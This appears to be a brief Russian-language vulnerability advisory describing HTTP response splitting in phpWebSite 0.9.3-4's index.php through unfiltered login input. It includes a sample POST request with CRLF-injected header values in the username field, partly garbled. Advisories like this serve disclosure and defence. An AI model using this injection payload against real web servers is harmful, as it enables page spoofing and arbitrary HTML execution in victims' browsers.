Рекомендуем почитать:
Xakep #305. Многошаговые SQL-инъекции
Программа: phpWebSite0.9.3-4
Удаленный атакующий может произвести Response Splitting атаку.
Уязвимость существует в фале index.php из-за некорректной фильтрации входных данных. Удаленный атакующий может с помощью специально сформированного HTTP POST запроса подменить содержимое страниц web сервера, выполнить произвольный HTML код в браузере жертвы.
Пример:
POST /index.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-length: 218
Connection: Keep-Alive
module=user&norm_user_op=login&block_username=
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP
/1.1%20200%20Ok%0d%0aContent-Length:%2031% 0d%0aConte nt-Type:%
site in 0wned</html>&password=foobar
